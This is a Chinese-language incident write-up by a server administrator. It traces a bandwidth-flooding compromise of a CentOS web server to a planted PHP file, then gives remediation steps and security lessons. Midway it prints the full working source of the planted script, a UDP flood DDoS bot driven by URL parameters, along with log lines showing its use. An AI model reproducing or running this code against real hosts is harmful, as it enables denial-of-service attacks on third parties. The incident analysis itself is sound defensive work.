記一次Centos服務(wù)器被掛馬的抓馬經(jīng)歷
今天早上五點(diǎn),收到監(jiān)控寶的警告短信,說(shuō)是網(wǎng)站M無(wú)法訪問(wèn)了。睡的正香,再說(shuō)網(wǎng)站所在系統(tǒng)是centos,重要數(shù)據(jù)每天都備份,應(yīng)該很安全,也沒(méi)有在意。倒頭接著睡覺(jué)去了。
早上九點(diǎn),機(jī)房負(fù)責(zé)人直接給我打來(lái)電話,說(shuō)是全機(jī)房網(wǎng)絡(luò)巨慢,單位的所有網(wǎng)站都打不開或打開的很慢。Centos服務(wù)器被掛馬的一次抓馬經(jīng)歷。
我趕緊趕了過(guò)去,查看了一下那里網(wǎng)絡(luò),發(fā)現(xiàn)175服務(wù)總是以50M/S速度向外發(fā)包,而175服務(wù)器正是網(wǎng)站M所在的服務(wù)器。
果斷SSH連接175服務(wù)器,發(fā)現(xiàn)175服務(wù)器連接也很慢,連上之后top一下,查看cpu負(fù)載:
top
發(fā)現(xiàn)有兩個(gè)apache進(jìn)程占用cpu一直在40%以上,馬上停止httpd 服務(wù)
service httpd stop
停止httpd服務(wù)之后,再看網(wǎng)絡(luò)狀態(tài),175服務(wù)器也不向外發(fā)包了,一切正常。
由此判斷應(yīng)該是175服務(wù)器掛了馬,瘋狂向外發(fā)包,擠占了全部機(jī)房帶寬。
下一步就是抓馬了!
175服務(wù)器是有硬件防火墻,只開http80跟ssh22端口,ssh不太可能被盜號(hào),應(yīng)該是通過(guò)web漏洞掛馬。早上5點(diǎn)才中招的,木馬程序文件應(yīng)該在1天之內(nèi)。
切到M站點(diǎn)根目錄之下,查找最近一天內(nèi)變動(dòng)的文件,執(zhí)行
find ./ -mtime -1
果然,一個(gè)名為phzLtoxn.php的可疑文件出現(xiàn)在目錄列表中。查看一下木馬程序的創(chuàng)建者,執(zhí)行
ls -l phzLtoxn.php
這里發(fā)現(xiàn)文件就沒(méi)了,難道這文件還會(huì)自我銷毀?Centos服務(wù)器被掛馬的一次抓馬經(jīng)歷
原來(lái)發(fā)生了一個(gè)小插曲,隔壁的管理員小黃也注意到這個(gè)文件,二話不說(shuō)就刪除了。我過(guò)去劈頭批評(píng)教育了小黃一頓。見了木馬程序就知道刪刪刪刪!難道木馬程序不會(huì)再生成?。磕愕庙樚倜?,不是一刀切。你得找到漏洞源頭!刪了沒(méi)辦法,再把httpd服務(wù)開啟了,引狼入室,等等看能否再生成。
果然,半小時(shí)不到,新的phzLtoxn.PHP文件又生成了。查看了一下,文件創(chuàng)建者是apache,由此判斷這肯定是通過(guò)網(wǎng)站漏洞上傳的。
分析一下木馬文件,看下黑客意圖
這里貼出phzLtoxn.php文件源代碼,并作了簡(jiǎn)單注釋,僅作學(xué)習(xí)之用。
<?php
//設(shè)置腳本運(yùn)行時(shí)間
set_time_limit(999999);
//攻擊目標(biāo)服務(wù)器ip
$host = $_GET['host'];
//攻擊目標(biāo)服務(wù)器端口
$port = $_GET['port'];
//攻擊時(shí)長(zhǎng)
$exec_time = $_GET['time'];
//每次發(fā)送字節(jié)數(shù)
$Sendlen = 65535;
$packets = 0;
//設(shè)置客戶機(jī)斷開不終止腳本的執(zhí)行
ignore_user_abort(TRUE);
//step1. 目標(biāo)服務(wù)器$host、端口$port、運(yùn)行時(shí)長(zhǎng)$exec_time有效性
if (StrLen($host) == 0 or StrLen($port) == 0 or StrLen($exec_time) == 0) {
if (StrLen($_GET['rat']) <> 0) {
echo $_GET['rat'] . $_SERVER["HTTP_HOST"] . "|" . GetHostByName($_SERVER['SERVER_NAME']) . "|" . php_uname() . "|" . $_SERVER['SERVER_software'] . $_GET['rat'];
exit;
}
echo "Warning to: opening";
exit;
}
//step2. 設(shè)定發(fā)字符串$out,這里是“AAAAAAAAAA...”
for ($i = 0; $i < $Sendlen; $i++) {
$out .= "A";
}
$max_time = time() + $exec_time;
//step3. 進(jìn)行攻擊,使用udp向目標(biāo)服務(wù)器狠狠發(fā)串串
while (1) {
$packets++;
if (time() > $max_time) {
break;
}
$fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
if ($fp) {
fwrite($fp, $out);
fclose($fp);
}
}
//step4. 攻擊統(tǒng)計(jì)
echo "Send Host $host:$port<br><br>";
echo "Send Flow $packets * ($Sendlen/1024=" . round($Sendlen / 1024, 2) . ")kb / 1024 = " . round($packets * $Sendlen / 1024 / 1024, 2) . " mb<br><br>";
echo "Send Rate " . round($packets / $exec_time, 2) . " packs/s" . round($packets / $exec_time * $Sendlen / 1024 / 1024, 2) . " mb/s";
?>
從以上代碼可以看出,是個(gè)典型的ddos攻擊代碼。黑客應(yīng)該是把我們服務(wù)器當(dāng)傀儡使用,組織大量傀儡服務(wù)器瘋狂向目標(biāo)服務(wù)器發(fā)包。黑客只需要打開瀏覽器,敲入http://M站域名.com//phzLtoxn.php?host=x.x.x.x&port=xx&time=xx就可以對(duì)目標(biāo)服務(wù)器進(jìn)行ddos攻擊了。
查看httpd日志,分析下攻擊ip源,執(zhí)行
tail /var/log/httpd/access.log | grep phzLtonxn.php 183.12.75.240 - - [10/Aug/2012:10:38:46 +0800] "GET /phzLtoxn.php?host=174.139.81.91&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"110.185.121.167 - - [10/Aug/2012:10:38:56 +0800] "GET /phzLtoxn.php?host=218.93.248.98&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"110.185.121.167 - - [10/Aug/2012:10:38:58 +0800] "GET /phzLtoxn.php?host=198.148.89.34&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"110.185.121.167 - - [10/Aug/2012:10:39:08 +0800] "GET /phzLtoxn.php?host=199.119.207.133&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"110.185.121.167 - - [10/Aug/2012:10:39:12 +0800] "GET /phzLtoxn.php?host=174.139.81.91&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"118.161.219.152 - - [10/Aug/2012:10:39:27 +0800] "GET /phzLtoxn.php?host=198.148.89.34&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"118.161.219.152 - - [10/Aug/2012:10:39:27 +0800] "GET /phzLtoxn.php?host=174.139.81.91&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"118.161.219.152 - - [10/Aug/2012:10:39:27 +0800] "GET /phzLtoxn.php?host=199.119.207.133&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"118.161.219.152 - - [10/Aug/2012:10:39:27 +0800] "GET /phzLtoxn.php?host=218.93.248.98&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"118.161.219.152 - - [10/Aug/2012:10:39:28 +0800] "GET /phzLtoxn.php?host=61.164.148.49&port=80&time=60 HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"
發(fā)現(xiàn)源ip來(lái)自多個(gè),目標(biāo)服務(wù)器ip也有多個(gè),都屬于很多國(guó)家,有點(diǎn)奇怪啊,為什么黑客有針對(duì)性的攻擊呢,無(wú)聊的黑客啊。
下一步,找漏洞!
1、重新審視了M站目錄下文件權(quán)限。僅對(duì)幾個(gè)必要的緩存、靜態(tài)化的目錄為apache開啟了寫權(quán)限,防止phzLtoxn.php文件再次生成。
2、重新開啟httpd服務(wù),使用360網(wǎng)站檢測(cè) http://webscan.#/ 對(duì)H站進(jìn)行漏洞檢測(cè),發(fā)現(xiàn)H站中有嚴(yán)重的遠(yuǎn)程執(zhí)行漏洞,于是趕緊打了補(bǔ)丁。
3、補(bǔ)丁打好之后,順便修改了系統(tǒng)用戶、數(shù)據(jù)庫(kù)用戶、ftp用戶的密碼、M站系統(tǒng)用戶密碼。
觀察幾日之后,一切正常。
小結(jié)一下幾個(gè)安全原則
1、權(quán)限最小化。
web目錄一定做好權(quán)限,僅僅對(duì)apache開幾個(gè)必要文件夾的寫權(quán)限。
2、時(shí)刻注意補(bǔ)丁更新。
經(jīng)常使用第三方的網(wǎng)站安全檢測(cè)工具,如http://webscan.#,也可參考十大安全評(píng)估工具,如果網(wǎng)站系統(tǒng)使用了第三方常用程序,多注意一下烏云漏洞平臺(tái)的信息http://www.wooyun.org/。
3、中招后一定要補(bǔ)牢。
別光刪刪刪刪,要查找中招源頭,分析黑客目的。
這是還是請(qǐng)大牛小牛們分析一下,為什么這幫黑客用那么多的肉雞來(lái)ddos攻擊不同的服務(wù)器,而這些被ddos攻擊的服務(wù)器之間卻沒(méi)有什么聯(lián)系。為什么攻擊沒(méi)有針對(duì)性?難道是為了耗帶寬玩?!
相關(guān)文章
centOS6中使用crontab定時(shí)運(yùn)行執(zhí)行jar程序的腳本
這篇文章主要介紹了centOS6中使用crontab定時(shí)運(yùn)行執(zhí)行jar程序的腳本,本文給大家介紹的非常詳細(xì),具有一定的參考借鑒價(jià)值,需要的朋友可以參考下2019-11-11
linux或windows環(huán)境下pytorch的安裝與檢查驗(yàn)證(解決runtimeerror問(wèn)題)
這篇文章主要介紹了linux或windows環(huán)境下pytorch的安裝與檢查驗(yàn)證(解決runtimeerror問(wèn)題),需要的朋友可以參考下2019-12-12
Ubuntu中如何實(shí)現(xiàn)更新Linux內(nèi)核
本文詳細(xì)介紹了如何使用三種方法更新Ubuntu中的Linux內(nèi)核,包括系統(tǒng)更新流程、使用系統(tǒng)更新程序強(qiáng)制更新以及手動(dòng)使用Mainline選擇和安裝新內(nèi)核2025-01-01
Linux中使用Cron定時(shí)執(zhí)行SQL任務(wù)的實(shí)現(xiàn)步驟
在Linux系統(tǒng)中,計(jì)劃任務(wù)(Cron)是一種強(qiáng)大的工具,可以自動(dòng)執(zhí)行預(yù)定的任務(wù),它非常適合定期運(yùn)行腳本、備份數(shù)據(jù)、清理臨時(shí)文件等一系列重復(fù)性任務(wù),本文給大家介紹了如何在Linux中使用Cron定時(shí)執(zhí)行SQL任務(wù),需要的朋友可以參考下2024-11-11
配置iptables,把80端口轉(zhuǎn)到8080的簡(jiǎn)單方法
下面小編就為大家?guī)?lái)一篇配置iptables,把80端口轉(zhuǎn)到8080的簡(jiǎn)單方法。小編覺(jué)得挺不錯(cuò)的,現(xiàn)在就分享給大家,也給大家做個(gè)參考。一起跟隨小編過(guò)來(lái)看看吧,祝大家游戲愉快哦2016-12-12

